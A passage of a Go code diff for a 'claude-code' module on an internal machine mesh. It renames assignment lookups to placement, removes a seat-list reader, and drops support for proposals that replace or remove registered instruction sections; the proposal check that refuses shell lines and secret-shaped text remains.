module, never installed by hand.\n\n## Conventions\n\n- Commit messages are concise, in the imperative, about why.\n- Test before pushing: nodes update unattended.\n- The playbooks in the record say how research, decisions, designs, issues and hand-offs are done.\n"
"\n- The other nodes, their roles and what runs where: ask the placement seat (`mesh-placement.placement`),\n or `mesh_overview` and `mesh_machine`. Nothing here lists them, because a copy drifts.\n\n## How a session on this mesh works\n\nThe console is the only way to the mesh: the MCP server named `mesh`. It offers five tools, and\neverything else is an address you find and call through them:\n\n- `mesh_search` — words in, matching addresses out. `mesh_describe` — one address's arguments.\n- `mesh_call` — call an address. A seat the mesh holds once is `<seat>.<verb>` (the mesh's own seats\n include `mesh-placement`, `mesh-delivery`, `mesh-config` and `mesh-conditions`);\n a module on a machine is `<node>/<module>.<tool>`.\n- `mesh_overview` and `mesh_machine` — the mesh's seats and machines, and what one machine runs.\n\n- **Symptom first.** For an error, a failing service or anything unexpected, search the record with the\n literal text before forming a hypothesis: the records module's `records_search`, then\n `records_read`.\n- **Ask the mesh before changing it**, and change it through the seats' verbs or the catalog.\n- **A licence** through the `anthropic-licence-manager` seat's verbs. Never edit the agent's credentials\n file by hand, never print or ask for a token.\n\n## Hard rules\n\n- A file the mesh manages is changed through the verb or the catalog that owns it, never on disk. If\n unsure, `<node>/node-engine.composition` for the module says what the mesh writes there.\n- Never write to a store's database by hand; schema changes are numbered migrations.\n- Never push to a main branch: a branch, a pull request, and a human approval for every merge.\n- The mesh creates no symlinks, and nobody else does either.\n- A package is declared in a module, never installed by hand.\n\n## Conventions\n\n- Commit messages are concise, in the imperative, about why.\n- Test before pushing: nodes update unattended.\n- The playbooks in the record say how research, decisions, designs, issues and hand-offs are done.\n"
}
+16 -47
View File
@@ -22,11 +22,12 @@ import (
"strings"
"time"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
"git.novox.be/novox/mesh-contracts/go/seats"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/seatlist"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/handacts"
"git.novox.be/novox/mesh-sdk/go/views"
)
@@ -209,24 +210,17 @@ func (s stateOf) Get(key string) (json.RawMessage, bool, error) {
return e.Value, true, nil
}
// nodesRunningMe is the nodes claude-code runs on, from the assigner's assignments — for the register tool's question.
// nodesRunningMe is the nodes claude-code runs on, from the assigner's placement — for the register tool's question.
func nodesRunningMe() ([]string, error) { return NodesRunning(viewStates{meshViews}, "claude-code") }
// The owners' read tools of the states this module follows, which the manifest invokes (novox/hq ADR 0615 §1).
// The holders whose views this module follows, as its manifest's `consumes` and `invokes` name them (the manifest test
// holds them equal).
const (
assignerModule = "mesh-delivery-assigner"
indexerModule = "mesh-delivery-indexer"
ModulesTool = delivery.IndexerModule + ".indexer_read_modules"
ManifestsTool = delivery.IndexerModule + ".indexer_read_manifests"
PlacementTool = delivery.AssignerModule + ".assigner_read_placement"
)
const (
ModulesTool = indexerModule + ".indexer_read_modules"
ManifestsTool = indexerModule + ".indexer_read_manifests"
AssignmentsTool = assignerModule + ".assigner_read_assignments"
)
// meshViews is this module's picture of the indexer's modules and manifests and the assigner's assignments: each asked
// meshViews is this module's picture of the indexer's modules and manifests and the assigner's placement: each asked
// once of the owner's read tool, then followed on the owner's views family. It reads none of their state.
var meshViews *views.Reader
@@ -235,17 +229,17 @@ var meshChanged = make(chan struct{}, 1)
// newMeshViews builds the reader of those three states; Start asks them.
func newMeshViews() *views.Reader {
v := &views.Reader{Module: Module, Logf: func(f string, a ...any) { say(f, a...) }, Findings: meshconditionsclient.FindingWriter{State: stdio.State("findings")},
Acts: handActs{},
v := &views.Reader{Module: Module, Logf: func(f string, a ...any) { say(f, a...) }, Findings: views.OwnFindings{},
Acts: handacts.Recorder{Ask: stdio.Ask},
Changed: func(string, string, json.RawMessage, bool) {
select {
case meshChanged <- struct{}{}:
default:
}
}}
v.Follow(indexerModule, "modules", ModulesTool)
v.Follow(indexerModule, "manifests", ManifestsTool)
v.Follow(assignerModule, "assignments", AssignmentsTool)
v.Follow(delivery.IndexerModule, "modules", ModulesTool)
v.Follow(delivery.IndexerModule, "manifests", ManifestsTool)
v.Follow(delivery.AssignerModule, "placement", PlacementTool)
return v
}
@@ -325,7 +319,7 @@ func tools(p Paths, servers ServerState, view *ServerView, config ConfigState, c
Description: "Write Claude Code's managed directory now, from the mesh's facts, this module's settings and the servers registered here — after reading the bus again for what each tool replaces and which machines the mesh has (the instructions' table and the shell's guard).",
Run: func(map[string]any) (any, error) {
answer := map[string]any{}
if m, err := ReadMeshToolsFrom(viewStates{meshViews}, definedSeats(), lookup); err != nil {
if m, err := ReadMeshToolsFrom(viewStates{meshViews}, seats.List(), lookup); err != nil {
answer["asked"] = "the bus could not be read in full (" + err.Error() + "); what was kept is rendered"
} else {
KeepMeshTools(p, m)
@@ -412,7 +406,6 @@ func tools(p Paths, servers ServerState, view *ServerView, config ConfigState, c
}
out = append(out, judgeTool(judge), judgedTool(judge))
out = append(out, meshViews.Tools("claude_code")...)
out = append(out, seatListTools()...)
return append(out, configTools(p, config, configView)...)
}
@@ -666,27 +659,3 @@ func refusals(n int) string {
}
return fmt.Sprintf(" (after %d refusal(s))", n)
}
// seatListAgainCallers may read the seat list again: every operator's session and the healers (ADR 0636 §7).
var seatListAgainCallers = []string{stdio.AnyPerson, "mesh-healers"}
// seatListTools are the seat list reader's two tools: what the list holds and what it waits for, and a read now. The
// reader starts once the runtime serves, after the tools are listed, so each tool finds it when it is called.
func seatListTools() []stdio.Tool {
names := []string{"claude_code_seat_list", "claude_code_seat_list_again"}
callers := seatListAgainCallers
shape := seatlist.Tools(&seatlist.Reader{}, names[0], names[1], callers)
for i := range shape {
run := i
shape[i].Run = func(args map[string]any) (any, error) {
seatListMu.Lock()
r := seatList
seatListMu.Unlock()
if r == nil {
return nil, errors.New("the seat list reader has not started yet: the runtime has not served this module")
}
return seatlist.Tools(r, names[0], names[1], callers)[run].Run(args)
}
}
return shape
}
+31 -81
View File
@@ -7,7 +7,7 @@ package main
// Read from the bus at start and every few minutes (issue 1126 B13; the controller that answered this before is
// not placed, novox/hq ADR 0590): the seats' verbs from the seats' contract (mesh-contracts), the modules'
// own tools from the manifests the indexer keeps (`mesh-delivery-indexer.modules` and `.manifests`), and the
// machines and where each module runs from the seat mesh-module-assigner's `assignments`. Kept in the module's state so
// machines and where each module runs from the seat mesh-placement's `placement`. Kept in the module's state so
// a render never waits for the bus, and rendered whenever it changes. Nothing here is written by hand: a verb
// that gains a `replaces` is in the next render's table and the guard's next refusal.
@@ -16,21 +16,15 @@ import (
"encoding/json"
"errors"
"fmt"
assignerclient "git.novox.be/novox/mesh-contracts/go/clients/meshmoduleassignerclient"
mesh "git.novox.be/novox/mesh-contracts/go/seats/meshmoduleassigner"
catalogclient "git.novox.be/novox/mesh-delivery/contracts/go/clients/meshcatalogclient"
catalog "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshcatalog"
"net"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/seatdef"
"git.novox.be/novox/mesh-sdk/go/seatlist"
"git.novox.be/novox/mesh-contracts/go/seats"
"git.novox.be/novox/mesh-sdk/go/delivery"
)
// Replacement is one verb or tool and the shell commands it is the mesh's way to do.
@@ -92,9 +86,9 @@ func ReadMeshTools(p Paths) *MeshTools {
// The states read, each declared in the manifest's reads.
const (
AssignmentsRead = (assignerModule + "." + mesh.StateAssignments)
ModulesRead = indexerModule + "." + catalog.StateModules
ManifestsRead = indexerModule + "." + catalog.StateManifests
PlacementRead = delivery.PlacementRead
ModulesRead = delivery.IndexerModule + ".modules"
ManifestsRead = delivery.IndexerModule + ".manifests"
)
// States reads the module states the manifest declares in its reads: a state's keys, and one key's value.
@@ -110,17 +104,17 @@ type ModuleTools struct {
Replaces map[string][]string
}
// assignments is every node's assignments, from the seat mesh-module-assigner's state.
func assignments(st States) (map[string]mesh.Assignments, error) {
keys, err := st.Keys(AssignmentsRead)
// placements is every node's placement, from the seat mesh-placement's state.
func placements(st States) (map[string]delivery.Placement, error) {
keys, err := st.Keys(PlacementRead)
if err != nil {
return nil, fmt.Errorf("%s: %w", AssignmentsRead, err)
return nil, fmt.Errorf("%s: %w", PlacementRead, err)
}
read := assignerclient.NewKeys()
read := delivery.NewPlacementKeys()
for _, k := range keys {
v, found, err := st.Get(AssignmentsRead, k)
v, found, err := st.Get(PlacementRead, k)
if err != nil {
return nil, fmt.Errorf("%s %s: %w", AssignmentsRead, k, err)
return nil, fmt.Errorf("%s %s: %w", PlacementRead, k, err)
}
if found {
_, _ = read.Put(k, v, 0, false) // a key that does not read places nothing
@@ -129,8 +123,8 @@ func assignments(st States) (map[string]mesh.Assignments, error) {
return read.All(), nil
}
// runsOn is, by module, the nodes assignments puts it on, sorted.
func runsOn(placed map[string]mesh.Assignments) map[string][]string {
// runsOn is, by module, the nodes placement puts it on, sorted.
func runsOn(placed map[string]delivery.Placement) map[string][]string {
out := map[string][]string{}
for node, p := range placed {
for _, m := range p.Modules {
@@ -143,9 +137,9 @@ func runsOn(placed map[string]mesh.Assignments) map[string][]string {
return out
}
// NodesRunning is the nodes assignments puts module on.
// NodesRunning is the nodes placement puts module on.
func NodesRunning(st States, module string) ([]string, error) {
placed, err := assignments(st)
placed, err := placements(st)
if err != nil {
return nil, err
}
@@ -163,7 +157,7 @@ func modulesTools(st States, on map[string][]string) ([]ModuleTools, error) {
}
sort.Strings(modules)
for _, module := range modules {
key, err := catalogclient.ModulesKey(module)
key, err := delivery.ModulesKey(module)
if err != nil {
continue
}
@@ -174,11 +168,11 @@ func modulesTools(st States, on map[string][]string) ([]ModuleTools, error) {
}
continue
}
m, err := catalogclient.DecodeModule(raw)
m, err := delivery.DecodeModule(raw)
if err != nil || m.Manifest == "" {
continue
}
mkey, err := catalogclient.ManifestsKey(m.Manifest)
mkey, err := delivery.ManifestsKey(m.Manifest)
if err != nil {
continue
}
@@ -189,7 +183,7 @@ func modulesTools(st States, on map[string][]string) ([]ModuleTools, error) {
}
continue
}
kept, err := catalogclient.DecodeManifest(raw)
kept, err := delivery.DecodeManifest(raw)
if err != nil {
problems = append(problems, fmt.Errorf("the manifest of %s: %w", module, err))
continue
@@ -197,7 +191,7 @@ func modulesTools(st States, on map[string][]string) ([]ModuleTools, error) {
var man struct {
Replaces map[string][]string `json:"replaces"`
}
if json.Unmarshal([]byte(kept.Manifest), &man) != nil || len(man.Replaces) == 0 {
if json.Unmarshal([]byte(kept.JSON), &man) != nil || len(man.Replaces) == 0 {
continue
}
out = append(out, ModuleTools{Module: module, On: on[module], Replaces: man.Replaces})
@@ -223,14 +217,14 @@ func firstSentence(s string) string {
// ReplacementsOf is every seat verb and module tool that says it replaces a command: the seats' verbs first, in the
// seats' order, then the modules' own tools by module and tool.
func ReplacementsOf(defined []seatdef.Definition, modules []ModuleTools) []Replacement {
func ReplacementsOf(defined []seats.Seat, modules []ModuleTools) []Replacement {
var out []Replacement
for _, s := range defined {
for _, v := range s.Verbs {
for _, v := range s.Serves {
if len(v.Replaces) == 0 {
continue
}
out = append(out, Replacement{Address: s.Seat + "." + v.Name, NodeScoped: s.Scope == "node", Seat: true,
out = append(out, Replacement{Address: s.Name + "." + v.Name, NodeScoped: s.Scope == "node", Seat: true,
Does: firstSentence(v.Description), Replaces: v.Replaces})
}
}
@@ -261,11 +255,11 @@ func lookup(name string) []string {
return addrs
}
// ReadMeshToolsFrom reads the bus now: the seats' verbs, the placed modules' own tools, and every node assignments names
// ReadMeshToolsFrom reads the bus now: the seats' verbs, the placed modules' own tools, and every node placement names
// with its domains and addresses. A part that cannot be read is left out and said in the error; what was read is kept.
func ReadMeshToolsFrom(st States, defined []seatdef.Definition, resolve func(string) []string) (MeshTools, error) {
func ReadMeshToolsFrom(st States, defined []seats.Seat, resolve func(string) []string) (MeshTools, error) {
var m MeshTools
placed, err := assignments(st)
placed, err := placements(st)
if err != nil {
m.Replacements = ReplacementsOf(defined, nil)
return m, err
@@ -340,7 +334,7 @@ func guardFiles(p Paths, m *MeshTools) *GuardFiles {
return &GuardFiles{Exe: exe, Data: GuardDataOf(p, m), WaitsDir: WaitsDirPath(p)}
}
// MeshToolsEvery is how often the machines' addresses are resolved again; the tools and the assignments are read again
// MeshToolsEvery is how often the machines' addresses are resolved again; the tools and the placement are read again
// when their followed states change (a views event), not on this timer.
const MeshToolsEvery = 10 * time.Minute
@@ -353,11 +347,10 @@ func refreshMeshTools(p Paths) {
select {
case <-meshViews.Ready():
case <-time.After(MeshToolsFirst):
say("the first views of the tools and the assignments were not answered in %s; reading what is held", MeshToolsFirst)
say("the first views of the tools and the placement were not answered in %s; reading what is held", MeshToolsFirst)
}
startSeatList(seatlist.StdioBus())
for {
m, err := ReadMeshToolsFrom(viewStates{meshViews}, definedSeats(), lookup)
m, err := ReadMeshToolsFrom(viewStates{meshViews}, seats.List(), lookup)
if err != nil {
say("reading what each tool replaces and which machines the mesh has: %v", err)
}
@@ -410,46 +403,3 @@ func GuardStatus(p Paths, last int) map[string]any {
"record": ReadGuardLog(d.Log, last),
}
}
// seatList is the seat list this module holds: the definitions of the seats, read from the seat mesh-catalog and
// followed on its events (novox/hq ADR 0635 §1, ADR 0636), the foundation's bootstrapped ones until it answers.
var seatList *seatlist.Reader
// startSeatList starts the reader once the runtime serves; a change of the list is told like any followed state, so the
// instructions' table is read again.
func startSeatList(bus seatlist.Bus) {
r, err := seatlist.Start(seatlist.Config{Bus: bus, Bootstrap: seatlist.Bootstrapped(),
OnChange: func([]catalogue.Seat) {
select {
case meshChanged <- struct{}{}:
default:
}
}})
if err != nil {
say("following the seat list: %v", err)
}
seatListMu.Lock()
seatList = r
seatListMu.Unlock()
}
var seatListMu sync.Mutex
// definedSeats are the held definitions in reading order, mesh seats first, then node seats, each by name; empty until
// the reader has started.
func definedSeats() []seatdef.Definition {
seatListMu.Lock()
r := seatList
seatListMu.Unlock()
if r == nil {
return nil
}
held := r.Definitions()
var out []seatdef.Definition
for _, s := range r.Seats() {
if d, ok := held[s.Name]; ok {
out = append(out, d)
}
}
return out
}
@@ -9,7 +9,7 @@ import (
"sync"
"time"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
stdio "git.novox.be/novox/mesh-sdk/go"
)
@@ -116,19 +116,14 @@ func proposalTools(p Paths) []stdio.Tool {
"(Telegram), shown the text (whole when it is short, else its first lines and its fingerprint), and the text " +
"reaches those sessions only on Approve. Decline, or no answer within a day, discards it. Refused for text " +
"that would run or read in something by itself (a shell line, front matter, an @ file reference), anything " +
"shaped like a secret, more than 16 KiB, or when no such channel is there (novox/hq ADR 0274, issue 340). A name " +
"registered before for the mesh or the node, or set at the controller's terminal, is proposed too: as a " +
"replacement (the text) or with remove a removal of that registered section. The operator's ask says plainly " +
"that it replaces or removes the registered section, and shows the text the same way; on Approve every node " +
"renders the new text in the place of the old, on Decline or at expiry nothing changes. A replacement of a " +
"registered section may keep that section's own heading form (it replaces a mesh section); the heading rule " +
"stays for every new shared section. claude_code_proposals and claude_code_registrations show where it stands.",
"shaped like a secret, more than 16 KiB, a name set at the controller's terminal, or when no such channel is " +
"there (novox/hq ADR 0274, issue 340). claude_code_proposals shows where it stands.",
Input: map[string]any{
"scope": str("mesh (every node) or node (the nodes given, or this one)"),
"nodes": str("for scope node: a comma-separated list of nodes; absent is this node"),
"name": str("the section's name: lower-case letters, digits and -, e.g. handoff-from-g14"),
"text": str("the section's text, markdown, as every session will read it"),
"remove": map[string]any{"type": "boolean", "description": "propose removing the approved or registered section of this name and scope instead"},
"remove": map[string]any{"type": "boolean", "description": "propose removing the approved section of this name and scope instead"},
},
Run: func(a map[string]any) (any, error) {
if proposing == nil {
+26 -154
View File
@@ -42,8 +42,8 @@ import (
"unicode"
"unicode/utf8"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
stdio "git.novox.be/novox/mesh-sdk/go"
)
@@ -113,10 +113,6 @@ type Proposal struct {
Form int `json:"form,omitempty"`
// Asked is empty once the ask was published, or says why it was not; nothing composes from it.
Asked string `json:"asked,omitempty"`
// Over is the digest of the text of a section registered before (for the mesh or the node, or set at the
// controller's terminal) that this proposal replaces or removes (novox/hq issue 340): the ask says so, and an
// approval is bound to it. Empty for a proposal that touches no registered section.
Over string `json:"over,omitempty"`
}
// textDigest is the digest a proposal binds: SHA-256 over the text's bytes.
@@ -170,14 +166,9 @@ func joinAnd(list []string) string {
// Act is what an answer binds: this proposal, whole, and the answer. The router's warrant names the ask's digest,
// and the ask names this act's digest in the option, so an approval authorises this text and nothing else.
func (p Proposal) Act(option string) occ.Act {
act := occ.Act{"verb": Module + ".instructions", "option": option, "proposal": p.ID, "action": p.Action,
return occ.Act{"verb": Module + ".instructions", "option": option, "proposal": p.ID, "action": p.Action,
"scope": p.Scope, "nodes": strings.Join(p.Nodes, ","), "name": p.Name, "digest": p.Digest, "from": p.From,
"at": p.At.UTC().Format(time.RFC3339Nano)}
if p.Over != "" {
// Only when set, so the act of a proposal made before keeps the digest its warrant names.
act["over"] = p.Over
}
return act
}
// AskGlance is the form of an ask read at a glance (Proposal.Form, Question.Form; novox/hq issue 639).
@@ -208,18 +199,8 @@ func (p Proposal) glanceAsk() oc.Ask {
}
var d strings.Builder
if p.Action == ActionRemove {
removes, print := "The approved text it removes", p.Fingerprint()
if p.Over != "" {
// The registered text, never the replacement's: a removal of a replacement removes both.
removes, print = "The registered text it removes", fingerprintOf(p.Over)
}
fmt.Fprintf(&d, "Proposed through the claude-code module on %s at %s UTC. %s has the fingerprint %s.",
p.From, p.At.UTC().Format("15:04 on 2 Jan"), removes, print)
if p.Over != "" && p.Digest != p.Over {
// A replacement is removed with the registered text it stands over: both fingerprints, the replacement's
// being the text sessions read.
fmt.Fprintf(&d, " The replacement sessions read, which it also removes, has the fingerprint %s.", p.Fingerprint())
}
fmt.Fprintf(&d, "Proposed through the claude-code module on %s at %s UTC. The approved text it removes has the fingerprint %s.",
p.From, p.At.UTC().Format("15:04 on 2 Jan"), p.Fingerprint())
} else {
if whole {
d.WriteString("The text:\n" + shown + "\n")
@@ -228,9 +209,6 @@ func (p Proposal) glanceAsk() oc.Ask {
}
fmt.Fprintf(&d, "Proposed through the claude-code module on %s at %s UTC: %d lines, %d bytes, fingerprint %s.",
p.From, p.At.UTC().Format("15:04 on 2 Jan"), p.Lines(), len(p.Text), p.Fingerprint())
if p.Over != "" {
fmt.Fprintf(&d, " It replaces the registered instructions of this name, whose text has the fingerprint %s.", fingerprintOf(p.Over))
}
}
fmt.Fprintf(&d, "\nRead all of it at the controller's terminal: mesh-cli ask claude-code claude_code_proposals '{\"id\": \"%s\"}'.", p.ID)
does := "the text becomes part of those sessions' instructions"
@@ -242,16 +220,6 @@ func (p Proposal) glanceAsk() oc.Ask {
// summary is what the proposal does, at a glance: its proposer's words, or the module's.
func (p Proposal) summary() string {
// A proposal over a registered section says so in the module's words, never the proposer's: the operator is
// told plainly which section of the mesh's own it replaces or removes.
if p.Over != "" {
where := strings.ToUpper(p.where()[:1]) + p.where()[1:]
if p.Action == ActionRemove {
return fmt.Sprintf("%s stops reading the instructions '%s' registered before, from its next start.", where, p.Name)
}
return fmt.Sprintf("%s reads these %d lines in place of the instructions '%s' registered before, from its next start.",
where, p.Lines(), p.Name)
}
if s := strings.TrimSpace(p.Summary); s != "" {
return s
}
@@ -493,7 +461,7 @@ func ProposalProblem(p Proposal) string {
}
switch p.Action {
case ActionAdd, ActionReplace:
if problem := proposedTextProblem(p.Text, p.Over != ""); problem != "" {
if problem := ProposedTextProblem(p.Text); problem != "" {
return problem
}
if textDigest(p.Text) != p.Digest {
@@ -506,9 +474,6 @@ func ProposalProblem(p Proposal) string {
default:
return "its action is not add, replace or remove"
}
if p.Over != "" && !strings.HasPrefix(p.Over, "sha256:") {
return "the digest of the registered text it replaces is not one"
}
return ""
}
@@ -524,12 +489,7 @@ var secretShaped = []*regexp.Regexp{
// session would run or read in by itself (issue 340's refusals, kept): a shell line, front matter, a hook, a tool
// server, a permission mode or pre-approved tools, or an `@` reference, which the instruction file reads in as a
// file; or anything shaped like a secret.
func ProposedTextProblem(text string) string { return proposedTextProblem(text, false) }
// proposedTextProblem is ProposedTextProblem; ownHeadings says the text replaces a section registered before, which
// may keep that section's own heading form (a replacement of a mesh section is a mesh section): the heading rule
// stays for every new shared section.
func proposedTextProblem(text string, ownHeadings bool) string {
func ProposedTextProblem(text string) string {
switch {
case strings.TrimSpace(text) == "":
return "the text is empty"
@@ -555,9 +515,6 @@ func proposedTextProblem(text string, ownHeadings bool) string {
return fmt.Sprintf("the text holds %q: an @ after anything but a letter or a digit may be read in as a file, "+
"and a shared section refers to no file (novox/hq issue 340)", strings.TrimSpace(m))
}
if ownHeadings {
return secretProblem(text)
}
if m := setextHeading.FindString(text); m != "" {
return "the text underlines a line with = or -, which makes it a heading that would read as a section of the mesh's own"
}
@@ -568,10 +525,6 @@ func proposedTextProblem(text string, ownHeadings bool) string {
return fmt.Sprintf("the text holds the heading %q, which would read as a section of the mesh's own; a shared "+
"section uses headings of level four or deeper", strings.TrimSpace(m))
}
return secretProblem(text)
}
func secretProblem(text string) string {
for _, re := range secretShaped {
if re.MatchString(text) {
return "the text holds something shaped like a secret, which a shared section never carries"
@@ -593,11 +546,6 @@ type ApprovedSection struct {
From string `json:"from"`
Approved time.Time `json:"approved"`
By string `json:"by"`
// Over is the digest of the registered section's text this one replaced or removed; the registered section of
// that name and text is left out of what renders. Removes marks a removal of a registered section: it holds no
// text, and its Digest is the fingerprint of the text removed.
Over string `json:"over,omitempty"`
Removes bool `json:"removes,omitempty"`
}
// ProposalDecision is what this node made of one proposal: once decided, never again.
@@ -704,11 +652,8 @@ func ApprovedHere(a Approved, node string) []ApprovedSection {
var out []ApprovedSection
for _, s := range a.Sections {
// Judged again as it renders: a record changed on disk renders nothing a proposal could not hold.
textOK := proposedTextProblem(s.Text, s.Over != "") == "" && textDigest(s.Text) == s.Digest
if s.Removes {
textOK = s.Text == "" && s.Over != "" && strings.HasPrefix(s.Digest, "sha256:")
}
if !itemName.MatchString(s.Name) || !nodeName.MatchString(s.From) || !textOK || (s.Scope != ScopeMesh && s.Scope != ScopeNode) ||
if !itemName.MatchString(s.Name) || !nodeName.MatchString(s.From) || ProposedTextProblem(s.Text) != "" ||
textDigest(s.Text) != s.Digest || (s.Scope != ScopeMesh && s.Scope != ScopeNode) ||
(s.Scope == ScopeNode && (len(s.Nodes) == 0 || nodesProblem(s.Nodes) != "")) {
continue
}
@@ -865,42 +810,30 @@ func Propose(p Paths, in ProposeInput, store ProposalStore, bus AskBus, now time
}
prop := Proposal{ID: newProposalID(), Scope: in.Scope, Nodes: nodes, Name: in.Name, From: p.Node, At: now.UTC(),
Summary: strings.TrimSpace(in.Summary), Form: AskGlance}
registered, err := registeredSection(p, in.Scope, nodes, in.Name)
if err != nil {
return refuse(err.Error())
}
switch {
case in.Remove:
switch {
case isActive && active.Removes:
return refuse(fmt.Sprintf("the section %q was removed already", in.Name))
case isActive:
// An approved section that replaced a registered one is removed with it: nothing of the name is left.
prop.Action, prop.Digest, prop.Over = ActionRemove, active.Digest, active.Over
case registered != "":
prop.Action, prop.Digest, prop.Over = ActionRemove, registered, registered
default:
return refuse(fmt.Sprintf("no approved or registered section %q at the %s scope is held on this node to remove", in.Name, in.Scope))
if !isActive {
return refuse(fmt.Sprintf("no approved section %q at the %s scope is held on this node to remove; one set at the "+
"controller's terminal is removed there", in.Name, in.Scope))
}
prop.Action, prop.Digest = ActionRemove, active.Digest
default:
prop.Over = registered
if prop.Over == "" && isActive {
prop.Over = active.Over
}
if problem := proposedTextProblem(in.Text, prop.Over != ""); problem != "" {
if problem := ProposedTextProblem(in.Text); problem != "" {
return refuse(problem)
}
prop.Action, prop.Text, prop.Digest = ActionAdd, in.Text, textDigest(in.Text)
if isActive && !active.Removes {
if isActive {
if active.Digest == prop.Digest {
return refuse(fmt.Sprintf("the section %q already holds exactly this text", in.Name))
}
prop.Action = ActionReplace
} else if registered != "" {
if registered == prop.Digest {
return refuse(fmt.Sprintf("the registered section %q already holds exactly this text", in.Name))
}
}
if terminal, _ := terminalText(p); len(terminal) > 0 {
for _, it := range terminal {
if it.Kind == KindInstructions && it.Name == in.Name {
return refuse(fmt.Sprintf("a section %q is set at the controller's terminal; it is changed there", in.Name))
}
prop.Action = ActionReplace
}
}
if why := approverReady(bus); why != "" {
@@ -1235,22 +1168,15 @@ func decide(p Paths, approved *Approved, prop Proposal, w oc.Warrant, now time.T
switch prop.Action {
case ActionRemove:
held, ok := approved.Sections[key]
switch {
case prop.Over != "" && (!ok || (!held.Removes && held.Digest == prop.Digest)):
// A registered section is removed by leaving it out of what renders: the record of the removal says
// which text, and a node holding no such section renders nothing of it either way.
approved.Sections[key] = ApprovedSection{Name: prop.Name, Scope: prop.Scope, Nodes: prop.Nodes, Digest: prop.Digest,
Proposal: prop.ID, From: prop.From, Approved: at.UTC(), By: occ.Says(w), Over: prop.Over, Removes: true}
case !ok || held.Removes || held.Digest != prop.Digest:
if !ok || held.Digest != prop.Digest {
d.Outcome = "approved, nothing to remove here: this node holds no section " + prop.Name + " with that fingerprint"
approved.Changed[key] = at.UTC()
return d, false, "proposal " + prop.ID + ": " + d.Outcome, true
default:
delete(approved.Sections, key)
}
delete(approved.Sections, key)
default:
approved.Sections[key] = ApprovedSection{Name: prop.Name, Scope: prop.Scope, Nodes: prop.Nodes, Text: prop.Text,
Digest: prop.Digest, Proposal: prop.ID, From: prop.From, Approved: at.UTC(), By: occ.Says(w), Over: prop.Over}
Digest: prop.Digest, Proposal: prop.ID, From: prop.From, Approved: at.UTC(), By: occ.Says(w)}
}
approved.Changed[key] = at.UTC()
say("proposal %s (%s %s %s, fingerprint %s): %s", prop.ID, prop.Action, prop.Scope, prop.Name, prop.Fingerprint(), occ.Says(w))
@@ -1285,13 +1211,6 @@ func ListProposals(p Paths, store ProposalStore, bus AskBus, id string, now time
row := map[string]any{"id": prop.ID, "action": prop.Action, "name": prop.Name, "reaches": prop.where(),
"from": prop.From, "at": prop.At.Format(time.RFC3339), "fingerprint": prop.Fingerprint(), "lines": prop.Lines(),
"bytes": len(prop.Text)}
if prop.Over != "" {
verb := "replaces"
if prop.Action == ActionRemove {
verb = "removes"
}
row["registered section"] = verb + " the registered section whose text has the fingerprint " + fingerprintOf(prop.Over)
}
if d, ok := approved.Decided[prop.ID]; ok {
row["here"] = d
} else if why, ok := approved.Refused[prop.ID]; ok {
@@ -1333,58 +1252,11 @@ func ListProposals(p Paths, store ProposalStore, bus AskBus, id string, now time
}
var here []map[string]any
for _, s := range ApprovedHere(approved, p.Node) {
row := map[string]any{"name": s.Name, "scope": s.Scope, "nodes": s.Nodes, "proposal": s.Proposal,
here = append(here, map[string]any{"name": s.Name, "scope": s.Scope, "nodes": s.Nodes, "proposal": s.Proposal,
"from": s.From, "approved": s.Approved.Format(time.RFC3339), "by": s.By,
"fingerprint": fingerprintOf(s.Digest)}
if s.Over != "" {
row["registered section"] = "replaces the registered section whose text has the fingerprint " + fingerprintOf(s.Over)
if s.Removes {
row["registered section"] = "removes the registered section whose text has the fingerprint " + fingerprintOf(s.Over)
}
}
here = append(here, row)
"fingerprint": fingerprintOf(s.Digest)})
}
return map[string]any{"proposals": rows, "approved here": here,
"how": "a proposal becomes active on a node only when that node has held the operator's warrant, read from the " +
"router's own record, to the proposal's exact text (novox/hq ADR 0274)"}, nil
}
// registeredSection is the digest of the text of the instruction section of this name that was registered before
// (for the mesh, or for this node when the proposal names it) or is set at the controller's terminal, or "" when
// there is none; an error when the places hold different texts under the name, since an approval is bound to one.
func registeredSection(p Paths, scope string, nodes []string, name string) (string, error) {
var items map[string]Item
_ = readJSON(p.config(), &items)
c := ConfigOf(Taken(items))
c.Terminal, _ = terminalText(p)
type place struct {
items []Item
says string
}
places := []place{{c.Mesh, "registered for the mesh (unregister it with claude_code_instructions_unregister, scope mesh, name " + name + ")"},
{c.Terminal, "set at the controller's terminal (its instructions setting)"}}
if scope == ScopeNode {
places = []place{{c.Node, "registered for this node (unregister it with claude_code_instructions_unregister, scope node, name " + name + ")"},
{c.Terminal, "set at the controller's terminal (its instructions setting)"}}
if !contains(nodes, p.Node) {
places = places[1:]
}
}
digest := ""
var holding []string
for _, pl := range places {
for _, it := range pl.items {
if it.Kind != KindInstructions || it.Name != name {
continue
}
d := textDigest(it.Files[name+".md"])
if digest != "" && d != digest {
return "", fmt.Errorf("the section %q is registered with different texts: %s and %s; an approval is bound to one text, "+
"so unregister one of them first", name, strings.Join(holding, ", "), pl.says)
}
digest = d
holding = append(holding, pl.says)
}
}
return digest, nil
}
@@ -13,8 +13,8 @@ import (
"testing"
"time"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
